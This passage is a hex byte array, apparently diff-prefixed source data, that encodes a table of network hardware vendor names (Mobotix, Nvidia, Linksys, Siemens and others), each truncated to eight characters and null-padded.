0x6e, 0x69, 0x63, 0x6c, 0x75, 0x73, +0x4e, 0x65, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, +0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x70, 0x6f, +0x52, 0x66, 0x74, 0x6e, 0x63, 0x00, 0x00, 0x00, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x44, 0x79, +0x53, 0x6f, 0x6c, 0x70, 0x68, 0x6f, 0x6e, 0x65, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x69, 0x6b, +0x54, 0x6f, 0x6d, 0x72, 0x61, 0x41, 0x73, 0x61, +0x4d, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x78, 0x00, +0x49, 0x63, 0x75, 0x65, 0x00, 0x00, 0x00, 0x00, +0x48, 0x6f, 0x70, 0x66, 0x45, 0x6c, 0x65, 0x6b, +0x43, 0x6d, 0x6c, 0x45, 0x6d, 0x65, 0x72, 0x67, +0x54, 0x65, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x4d, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x44, 0x65, +0x4d, 0x6f, 0x6d, 0x65, 0x6e, 0x74, 0x75, 0x6d, +0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x74, 0x65, +0x45, 0x74, 0x65, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x75, 0x78, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x4b, 0x6f, 0x61, 0x6e, 0x6b, 0x65, 0x69, 0x73, +0x54, 0x61, 0x6b, 0x61, 0x79, 0x61, 0x00, 0x00, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x62, 0x65, 0x61, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x41, 0x6c, 0x6c, 0x6f, 0x70, 0x74, 0x69, 0x63, +0x52, 0x61, 0x64, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x4e, 0x65, 0x78, 0x74, 0x6e, 0x65, 0x74, 0x57, +0x49, 0x6d, 0x70, 0x61, 0x74, 0x68, 0x4e, 0x65, +0x53, 0x65, 0x63, 0x68, 0x65, 0x72, 0x6f, 0x6e, +0x54, 0x61, 0x6b, 0x61, 0x6d, 0x69, 0x73, 0x61, +0x41, 0x70, 0x6f, 0x67, 0x65, 0x65, 0x45, 0x6c, +0x4c, 0x65, 0x78, 0x61, 0x72, 0x4d, 0x65, 0x64, +0x43, 0x6f, 0x6d, 0x61, 0x72, 0x6b, 0x49, 0x6e, +0x4f, 0x74, 0x63, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x44, 0x65, 0x73, 0x61, 0x6e, 0x61, 0x00, 0x00, +0x57, 0x69, 0x6e, 0x6d, 0x61, 0x74, 0x65, 0x43, +0x43, 0x6f, 0x6d, 0x73, 0x70, 0x61, 0x63, 0x65, +0x48, 0x65, 0x72, 0x6d, 0x73, 0x74, 0x65, 0x64, +0x45, 0x6e, 0x74, 0x6f, 0x6e, 0x65, 0x00, 0x00, +0x4c, 0x6f, 0x67, 0x6f, 0x73, 0x74, 0x65, 0x6b, +0x57, 0x61, 0x76, 0x65, 0x6c, 0x65, 0x6e, 0x67, +0x41, 0x6b, 0x61, 0x72, 0x61, 0x43, 0x61, 0x6e, +0x4d, 0x65, 0x67, 0x61, 0x53, 0x79, 0x73, 0x74, +0x41, 0x74, 0x72, 0x69, 0x63, 0x61, 0x00, 0x00, +0x49, 0x63, 0x67, 0x52, 0x65, 0x73, 0x65, 0x61, +0x53, 0x68, 0x69, 0x6e, 0x6b, 0x61, 0x77, 0x61, +0x4d, 0x6b, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x4f, 0x6e, 0x65, 0x6c, 0x69, 0x6e, 0x65, 0x00, +0x52, 0x65, 0x64, 0x66, 0x65, 0x72, 0x6e, 0x42, +0x43, 0x69, 0x63, 0x61, 0x64, 0x61, 0x53, 0x65, +0x53, 0x65, 0x6e, 0x65, 0x63, 0x61, 0x4e, 0x65, +0x44, 0x61, 0x7a, 0x7a, 0x6c, 0x65, 0x4d, 0x75, +0x4e, 0x65, 0x74, 0x62, 0x75, 0x72, 0x6e, 0x65, +0x43, 0x68, 0x69, 0x70, 0x32, 0x63, 0x68, 0x69, +0x41, 0x6c, 0x6c, 0x65, 0x67, 0x72, 0x6f, 0x4e, +0x50, 0x6c, 0x61, 0x73, 0x74, 0x2d, 0x43, 0x6f, +0x53, 0x61, 0x6e, 0x63, 0x61, 0x73, 0x74, 0x6c, +0x50, 0x6c, 0x65, 0x69, 0x61, 0x64, 0x65, 0x73, +0x54, 0x69, 0x6d, 0x65, 0x74, 0x72, 0x61, 0x4e, +0x45, 0x6e, 0x65, 0x67, 0x61, 0x74, 0x65, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, +0x4c, 0x65, 0x78, 0x6d, 0x61, 0x72, 0x6b, 0x50, +0x4f, 0x73, 0x61, 0x6b, 0x69, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x78, 0x73, 0x61, 0x6e, 0x54, 0x65, +0x4e, 0x65, 0x78, 0x73, 0x69, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6b, 0x69, 0x6e, 0x6f, 0x4d, 0x69, +0x41, 0x63, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x46, 0x61, 0x4d, 0x65, 0x74, 0x61, 0x62, 0x6f, +0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x50, 0x6f, +0x53, 0x61, 0x6e, 0x6b, 0x6f, 0x45, 0x6c, 0x65, +0x43, 0x72, 0x61, 0x74, 0x6f, 0x73, 0x4e, 0x65, +0x53, 0x61, 0x67, 0x65, 0x00, 0x00, 0x00, 0x00, +0x33, 0x63, 0x6f, 0x6d, 0x45, 0x75, 0x72, 0x6f, +0x4b, 0x61, 0x6e, 0x6e, 0x6f, 0x57, 0x6f, 0x72, +0x41, 0x76, 0x61, 0x79, 0x61, 0x00, 0x00, 0x00, +0x41, 0x76, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x73, 0x75, 0x73, 0x4e, 0x65, 0x74, 0x77, +0x53, 0x70, 0x69, 0x6e, 0x6e, 0x61, 0x6b, 0x65, +0x49, 0x6e, 0x6b, 0x72, 0x61, 0x4e, 0x65, 0x74, +0x57, 0x61, 0x76, 0x65, 0x73, 0x6d, 0x69, 0x74, +0x53, 0x6e, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68, +0x55, 0x6d, 0x65, 0x7a, 0x61, 0x77, 0x61, 0x4d, +0x52, 0x61, 0x73, 0x74, 0x65, 0x6d, 0x65, 0x00, +0x50, 0x61, 0x72, 0x6b, 0x73, 0x43, 0x6f, 0x6d, +0x45, 0x6c, 0x61, 0x75, 0x00, 0x00, 0x00, 0x00, +0x46, 0x69, 0x62, 0x65, 0x72, 0x63, 0x79, 0x63, +0x49, 0x6e, 0x65, 0x73, 0x54, 0x65, 0x73, 0x74, +0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x77, 0x6f, +0x49, 0x70, 0x64, 0x69, 0x61, 0x6c, 0x6f, 0x67, +0x43, 0x6f, 0x72, 0x65, 0x67, 0x61, 0x4f, 0x66, +0x53, 0x68, 0x69, 0x6b, 0x6f, 0x6b, 0x75, 0x49, +0x53, 0x6f, 0x6e, 0x79, 0x49, 0x6e, 0x74, 0x65, +0x53, 0x6c, 0x69, 0x6d, 0x44, 0x65, 0x76, 0x69, +0x4f, 0x63, 0x75, 0x6c, 0x61, 0x72, 0x4e, 0x65, +0x53, 0x74, 0x75, 0x64, 0x69, 0x6f, 0x54, 0x65, +0x54, 0x6d, 0x63, 0x53, 0x52, 0x4c, 0x00, 0x00, +0x41, 0x74, 0x6d, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x73, 0x79, 0x73, 0x00, +0x50, 0x69, 0x78, 0x6f, 0x72, 0x64, 0x00, 0x00, +0x49, 0x74, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, +0x4d, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x53, 0x61, 0x72, 0x69, 0x61, 0x6e, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x6f, 0x75, 0x73, 0x54, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x74, +0x4e, 0x65, 0x74, 0x67, 0x65, 0x6d, 0x00, 0x00, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x74, +0x56, 0x6f, 0x79, 0x65, 0x74, 0x72, 0x61, 0x54, +0x43, 0x79, 0x62, 0x65, 0x72, 0x62, 0x6f, 0x61, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x65, 0x6e, 0x74, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x74, 0x4c, +0x45, 0x6c, 0x61, 0x6e, 0x73, 0x61, 0x74, 0x54, +0x50, 0x6f, 0x77, 0x69, 0x6e, 0x49, 0x6e, 0x66, +0x52, 0x6f, 0x73, 0x63, 0x6f, 0x45, 0x6e, 0x74, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x67, +0x4c, 0x61, 0x76, 0x61, 0x43, 0x6f, 0x6d, 0x70, +0x53, 0x6f, 0x6e, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x63, 0x6f, 0x6d, +0x45, 0x73, 0x74, 0x65, 0x65, 0x6d, 0x57, 0x69, +0x43, 0x79, 0x62, 0x65, 0x72, 0x70, 0x69, 0x78, +0x48, 0x61, 0x6c, 0x66, 0x44, 0x6f, 0x6d, 0x65, +0x4e, 0x61, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x6e, 0x74, 0x54, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x4d, +0x4c, 0x6d, 0x73, 0x53, 0x6b, 0x61, 0x6c, 0x61, +0x43, 0x79, 0x7a, 0x65, 0x6e, 0x74, 0x65, 0x63, +0x41, 0x63, 0x72, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x50, 0x6f, 0x6c, 0x61, 0x72, 0x6f, 0x69, 0x64, +0x4d, 0x61, 0x70, 0x6c, 0x65, 0x74, 0x72, 0x65, +0x49, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4e, +0x4e, 0x76, 0x69, 0x64, 0x69, 0x61, 0x00, 0x00, +0x4a, 0x65, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x6b, +0x53, 0x63, 0x68, 0x75, 0x62, 0x65, 0x72, 0x74, +0x44, 0x6d, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x4d, 0x65, 0x64, 0x72, 0x61, 0x64, 0x00, 0x00, +0x52, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x6c, 0x6f, +0x59, 0x6f, 0x74, 0x74, 0x61, 0x79, 0x6f, 0x74, +0x51, 0x75, 0x61, 0x64, 0x72, 0x69, 0x67, 0x61, +0x41, 0x6e, 0x74, 0x61, 0x72, 0x61, 0x4e, 0x65, +0x43, 0x61, 0x6d, 0x62, 0x69, 0x75, 0x6d, 0x4e, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x58, 0x00, +0x56, 0x65, 0x72, 0x69, 0x73, 0x74, 0x61, 0x72, +0x4c, 0x69, 0x6e, 0x6b, 0x73, 0x79, 0x73, 0x47, +0x54, 0x65, 0x63, 0x68, 0x73, 0x61, 0x6e, 0x45, +0x4d, 0x6f, 0x62, 0x69, 0x77, 0x61, 0x76, 0x65, +0x42, 0x65, 0x6b, 0x61, 0x45, 0x6c, 0x65, 0x6b, +0x50, 0x6f, 0x6c, 0x79, 0x74, 0x72, 0x61, 0x78, +0x41, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x54, 0x65, +0x4b, 0x6e, 0x69, 0x6c, 0x69, 0x6e, 0x6b, 0x54, +0x45, 0x70, 0x6f, 0x78, 0x43, 0x6f, 0x6d, 0x70, +0x44, 0x61, 0x6b, 0x6f, 0x73, 0x44, 0x61, 0x74, +0x50, 0x75, 0x6c, 0x73, 0x65, 0x2d, 0x4c, 0x69, +0x49, 0x53, 0x54, 0x49, 0x73, 0x64, 0x6e, 0x2d, +0x41, 0x72, 0x6d, 0x69, 0x74, 0x65, 0x6c, 0x00, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x52, 0x65, 0x73, +0x56, 0x69, 0x76, 0x69, 0x74, 0x79, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x63, 0x6f, 0x6d, 0x00, +0x4e, 0x61, 0x76, 0x69, 0x6e, 0x69, 0x4e, 0x65, +0x50, 0x61, 0x6c, 0x6d, 0x57, 0x69, 0x72, 0x65, +0x43, 0x79, 0x62, 0x65, 0x72, 0x54, 0x65, 0x63, +0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x6c, 0x49, +0x49, 0x70, 0x75, 0x6e, 0x70, 0x6c, 0x75, 0x67, +0x49, 0x70, 0x72, 0x61, 0x64, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6c, 0x79, 0x6e, 0x78, +0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x65, 0x78, +0x4c, 0x65, 0x67, 0x72, 0x61, 0x6e, 0x64, 0x00, +0x33, 0x43, 0x6f, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x53, 0x63, 0x61, 0x6c, 0x61, 0x6e, 0x74, 0x00, +0x47, 0x53, 0x74, 0x61, 0x72, 0x54, 0x65, 0x63, +0x52, 0x61, 0x64, 0x69, 0x75, 0x73, 0x00, 0x00, +0x41, 0x78, 0x78, 0x65, 0x73, 0x73, 0x69, 0x74, +0x53, 0x63, 0x68, 0x6c, 0x75, 0x6d, 0x62, 0x65, +0x53, 0x6b, 0x69, 0x64, 0x61, 0x74, 0x61, 0x00, +0x50, 0x65, 0x6c, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x69, 0x71, 0x75, 0x72, 0x61, 0x42, 0x56, +0x43, 0x68, 0x72, 0x4d, 0x61, 0x79, 0x72, 0x00, +0x45, 0x63, 0x6f, 0x6e, 0x6f, 0x6c, 0x69, 0x74, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x6c, 0x6f, 0x67, +0x44, 0x65, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x54, +0x41, 0x6d, 0x61, 0x6e, 0x6e, 0x00, 0x00, 0x00, +0x50, 0x69, 0x63, 0x6f, 0x6c, 0x69, 0x67, 0x68, +0x49, 0x74, 0x74, 0x63, 0x55, 0x6e, 0x69, 0x76, +0x43, 0x6f, 0x67, 0x65, 0x6e, 0x63, 0x79, 0x53, +0x45, 0x75, 0x72, 0x6f, 0x74, 0x68, 0x65, 0x72, +0x59, 0x61, 0x66, 0x6f, 0x4e, 0x65, 0x74, 0x77, +0x54, 0x65, 0x6d, 0x69, 0x61, 0x56, 0x65, 0x72, +0x50, 0x6f, 0x73, 0x63, 0x6f, 0x6e, 0x00, 0x00, +0x4e, 0x61, 0x79, 0x6e, 0x61, 0x4e, 0x65, 0x74, +0x54, 0x65, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4f, 0x68, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x4c, +0x54, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x41, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x76, 0x69, +0x48, 0x69, 0x76, 0x65, 0x49, 0x6e, 0x74, 0x65, +0x54, 0x73, 0x69, 0x6e, 0x67, 0x68, 0x75, 0x61, +0x42, 0x72, 0x65, 0x65, 0x7a, 0x65, 0x63, 0x6f, +0x54, 0x65, 0x6a, 0x61, 0x73, 0x4e, 0x65, 0x74, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x73, 0x79, 0x73, +0x4d, 0x61, 0x68, 0x69, 0x4e, 0x65, 0x74, 0x77, +0x43, 0x68, 0x69, 0x6e, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x75, 0x72, 0x67, 0x69, 0x65, 0x6e, 0x74, +0x49, 0x70, 0x61, 0x6e, 0x65, 0x6d, 0x61, 0x54, +0x57, 0x69, 0x72, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x46, 0x72, 0x65, 0x65, 0x73, 0x63, 0x61, 0x6c, +0x56, 0x65, 0x72, 0x69, 0x74, 0x79, 0x49, 0x6e, +0x50, 0x61, 0x74, 0x68, 0x77, 0x61, 0x79, 0x43, +0x4c, 0x53, 0x49, 0x4a, 0x61, 0x70, 0x61, 0x6e, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x63, 0x68, 0x69, +0x4e, 0x65, 0x74, 0x65, 0x6e, 0x61, 0x62, 0x6c, +0x42, 0x61, 0x72, 0x63, 0x6f, 0x50, 0x72, 0x6f, +0x53, 0x61, 0x66, 0x54, 0x65, 0x68, 0x6e, 0x69, +0x46, 0x61, 0x62, 0x69, 0x61, 0x74, 0x65, 0x63, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x6d, 0x61, 0x78, +0x53, 0x61, 0x6e, 0x64, 0x73, 0x74, 0x72, 0x65, +0x4a, 0x65, 0x74, 0x73, 0x74, 0x72, 0x65, 0x61, +0x43, 0x6f, 0x6d, 0x76, 0x65, 0x72, 0x73, 0x65, +0x49, 0x62, 0x6d, 0x50, 0x63, 0x6d, 0x63, 0x69, +0x4d, 0x61, 0x6c, 0x69, 0x62, 0x75, 0x4e, 0x65, +0x53, 0x75, 0x6c, 0x6c, 0x61, 0x69, 0x72, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x46, +0x45, 0x6c, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x00, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x54, 0x65, +0x45, 0x73, 0x73, 0x65, 0x67, 0x69, 0x53, 0x72, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x74, 0x65, 0x6b, +0x43, 0x69, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, +0x45, 0x71, 0x75, 0x69, 0x74, 0x72, 0x61, 0x63, +0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x78, 0x4e, +0x41, 0x6d, 0x62, 0x49, 0x54, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x6d, 0x61, 0x68, 0x69, 0x72, 0x61, +0x53, 0x49, 0x53, 0x6f, 0x75, 0x62, 0x6f, 0x75, +0x4b, 0x64, 0x64, 0x4d, 0x65, 0x64, 0x69, 0x61, +0x42, 0x61, 0x72, 0x64, 0x61, 0x63, 0x00, 0x00, +0x47, 0x69, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x00, +0x4f, 0x70, 0x74, 0x78, 0x63, 0x6f, 0x6e, 0x00, +0x56, 0x65, 0x72, 0x73, 0x61, 0x6c, 0x6f, 0x67, +0x4d, 0x61, 0x67, 0x6e, 0x69, 0x70, 0x69, 0x78, +0x43, 0x61, 0x73, 0x74, 0x6f, 0x72, 0x49, 0x6e, +0x41, 0x6c, 0x6c, 0x65, 0x6e, 0x48, 0x65, 0x61, +0x41, 0x73, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x59, 0x61, 0x6d, 0x61, 0x68, 0x61, 0x4d, 0x6f, +0x4e, 0x65, 0x74, 0x6d, 0x6f, 0x75, 0x6e, 0x74, +0x4c, 0x69, 0x62, 0x61, 0x4d, 0x61, 0x73, 0x63, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x45, 0x6c, 0x65, +0x46, 0x72, 0x65, 0x65, 0x6d, 0x73, 0x00, 0x00, +0x54, 0x64, 0x73, 0x6f, 0x66, 0x74, 0x43, 0x6f, +0x50, 0x65, 0x65, 0x6b, 0x54, 0x72, 0x61, 0x66, +0x45, 0x78, 0x74, 0x65, 0x6e, 0x77, 0x61, 0x79, +0x50, 0x61, 0x74, 0x72, 0x69, 0x61, 0x41, 0x69, +0x53, 0x65, 0x61, 0x67, 0x61, 0x74, 0x65, 0x54, +0x53, 0x6f, 0x66, 0x74, 0x6c, 0x69, 0x6e, 0x6b, +0x44, 0x72, 0x65, 0x77, 0x54, 0x65, 0x63, 0x68, +0x41, 0x64, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x6c, +0x54, 0x6f, 0x79, 0x6f, 0x6b, 0x65, 0x69, 0x6b, +0x50, 0x72, 0x6f, 0x76, 0x69, 0x65, 0x77, 0x45, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x49, +0x54, 0x61, 0x6b, 0x61, 0x67, 0x69, 0x49, 0x6e, +0x4f, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x49, 0x6e, +0x49, 0x70, 0x77, 0x69, 0x72, 0x65, 0x6c, 0x65, +0x54, 0x69, 0x74, 0x61, 0x6e, 0x45, 0x6c, 0x65, +0x52, 0x65, 0x6c, 0x61, 0x78, 0x54, 0x65, 0x63, +0x54, 0x65, 0x6c, 0x6c, 0x75, 0x73, 0x47, 0x72, +0x54, 0x65, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x54, +0x50, 0x72, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x4e, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x6f, 0x72, +0x53, 0x6d, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x44, 0x61, 0x65, 0x72, 0x79, 0x75, 0x6e, 0x67, +0x47, 0x6c, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x42, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x4e, 0x65, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x70, 0x6f, 0x69, +0x49, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x73, 0x77, +0x50, 0x61, 0x78, 0x6f, 0x6e, 0x65, 0x74, 0x43, +0x4d, 0x65, 0x6d, 0x6f, 0x62, 0x6f, 0x78, 0x53, +0x42, 0x69, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x45, +0x4c, 0x69, 0x6e, 0x63, 0x6f, 0x6c, 0x6e, 0x45, +0x50, 0x6f, 0x6c, 0x65, 0x73, 0x74, 0x61, 0x72, +0x57, 0x68, 0x65, 0x72, 0x65, 0x6e, 0x65, 0x74, +0x50, 0x6f, 0x6c, 0x79, 0x63, 0x6f, 0x6d, 0x00, +0x46, 0x73, 0x46, 0x6f, 0x72, 0x74, 0x68, 0x2d, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x65, +0x53, 0x6e, 0x6f, 0x77, 0x73, 0x68, 0x6f, 0x72, +0x41, 0x6d, 0x70, 0x68, 0x75, 0x73, 0x00, 0x00, +0x4f, 0x6d, 0x65, 0x67, 0x61, 0x42, 0x61, 0x6e, +0x51, 0x75, 0x61, 0x6c, 0x69, 0x63, 0x61, 0x62, +0x58, 0x74, 0x65, 0x72, 0x61, 0x43, 0x6f, 0x6d, +0x4e, 0x62, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x6f, 0x6d, 0x6d, 0x74, 0x65, 0x63, 0x68, +0x53, 0x74, 0x72, 0x61, 0x74, 0x75, 0x73, 0x54, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x6f, 0x6e, +0x50, 0x65, 0x6c, 0x61, 0x67, 0x6f, 0x4e, 0x65, +0x41, 0x63, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00, +0x41, 0x70, 0x70, 0x6c, 0x65, 0x50, 0x63, 0x69, +0x49, 0x63, 0x6f, 0x6e, 0x61, 0x67, 0x00, 0x00, +0x4e, 0x61, 0x72, 0x61, 0x79, 0x49, 0x6e, 0x66, +0x52, 0x65, 0x64, 0x64, 0x6f, 0x4e, 0x65, 0x74, +0x46, 0x69, 0x6e, 0x65, 0x41, 0x70, 0x70, 0x6c, +0x49, 0x6e, 0x65, 0x74, 0x63, 0x61, 0x6d, 0x00, +0x41, 0x76, 0x6f, 0x63, 0x4e, 0x69, 0x73, 0x68, +0x49, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x50, +0x4d, 0x69, 0x64, 0x73, 0x74, 0x72, 0x65, 0x61, +0x33, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00, 0x00, +0x54, 0x61, 0x6e, 0x61, 0x6b, 0x61, 0x53, 0x2f, +0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x6d, 0x65, +0x5a, 0x65, 0x62, 0x72, 0x61, 0x54, 0x65, 0x63, +0x56, 0x74, 0x6c, 0x69, 0x6e, 0x78, 0x4d, 0x75, +0x4b, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x75, 0x61, 0x72, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x4d, 0x6f, 0x64, +0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x6d, +0x4a, 0x75, 0x70, 0x69, 0x74, 0x65, 0x72, 0x73, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x42, +0x4d, 0x61, 0x67, 0x69, 0x63, 0x43, 0x6f, 0x6e, +0x58, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68, +0x41, 0x69, 0x72, 0x6f, 0x63, 0x6f, 0x6e, 0x00, +0x54, 0x61, 0x69, 0x6a, 0x69, 0x6e, 0x4d, 0x65, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x72, 0x6f, 0x6e, +0x4c, 0x65, 0x61, 0x2a, 0x44, 0x00, 0x00, 0x00, +0x41, 0x76, 0x6c, 0x4c, 0x69, 0x73, 0x74, 0x00, +0x42, 0x74, 0x6c, 0x53, 0x79, 0x73, 0x74, 0x65, +0x50, 0x75, 0x72, 0x65, 0x74, 0x65, 0x6b, 0x49, +0x49, 0x70, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6a, 0x54, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x77, 0x46, 0x6f, 0x63, 0x75, 0x73, +0x49, 0x6b, 0x65, 0x67, 0x61, 0x6d, 0x69, 0x54, +0x48, 0x6f, 0x72, 0x69, 0x62, 0x61, 0x00, 0x00, +0x53, 0x75, 0x70, 0x72, 0x65, 0x6d, 0x65, 0x4d, +0x5a, 0x6f, 0x6c, 0x74, 0x72, 0x69, 0x78, 0x49, +0x43, 0x69, 0x6e, 0x74, 0x61, 0x4e, 0x65, 0x74, +0x4c, 0x65, 0x76, 0x69, 0x74, 0x6f, 0x6e, 0x4e, +0x41, 0x6e, 0x64, 0x69, 0x61, 0x6d, 0x6f, 0x00, +0x4e, 0x6f, 0x72, 0x74, 0x68, 0x73, 0x74, 0x61, +0x43, 0x68, 0x69, 0x70, 0x50, 0x63, 0x00, 0x00, +0x44, 0x61, 0x6e, 0x61, 0x6d, 0x43, 0x6f, 0x6d, +0x4e, 0x65, 0x74, 0x73, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x65, 0x72, 0x69, 0x6c, 0x75, 0x73, 0x00, +0x41, 0x42, 0x72, 0x61, 0x6e, 0x64, 0x4e, 0x65, +0x57, 0x69, 0x6c, 0x6c, 0x6f, 0x77, 0x67, 0x6c, +0x48, 0x61, 0x72, 0x62, 0x6f, 0x75, 0x72, 0x4e, +0x58, 0x69, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x4b, 0x69, 0x64, 0x53, 0x79, 0x73, 0x74, 0x65, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x74, 0x65, +0x4f, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00, 0x00, +0x49, 0x71, 0x57, 0x69, 0x72, 0x65, 0x6c, 0x65, +0x56, 0x61, 0x6c, 0x6c, 0x65, 0x79, 0x54, 0x65, +0x4b, 0x64, 0x64, 0x69, 0x4e, 0x65, 0x74, 0x77, +0x53, 0x74, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x4e, +0x44, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6c, 0x69, 0x72, 0x61, 0x4f, 0x70, +0x41, 0x72, 0x69, 0x6f, 0x44, 0x61, 0x74, 0x61, +0x45, 0x61, 0x74, 0x6f, 0x6e, 0x41, 0x75, 0x74, +0x52, 0x66, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, +0x42, 0x72, 0x61, 0x6e, 0x73, 0x54, 0x65, 0x63, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x00, +0x47, 0x61, 0x72, 0x6d, 0x69, 0x6e, 0x49, 0x6e, +0x56, 0x63, 0x6f, 0x6d, 0x6d, 0x73, 0x43, 0x6f, +0x46, 0x53, 0x45, 0x6c, 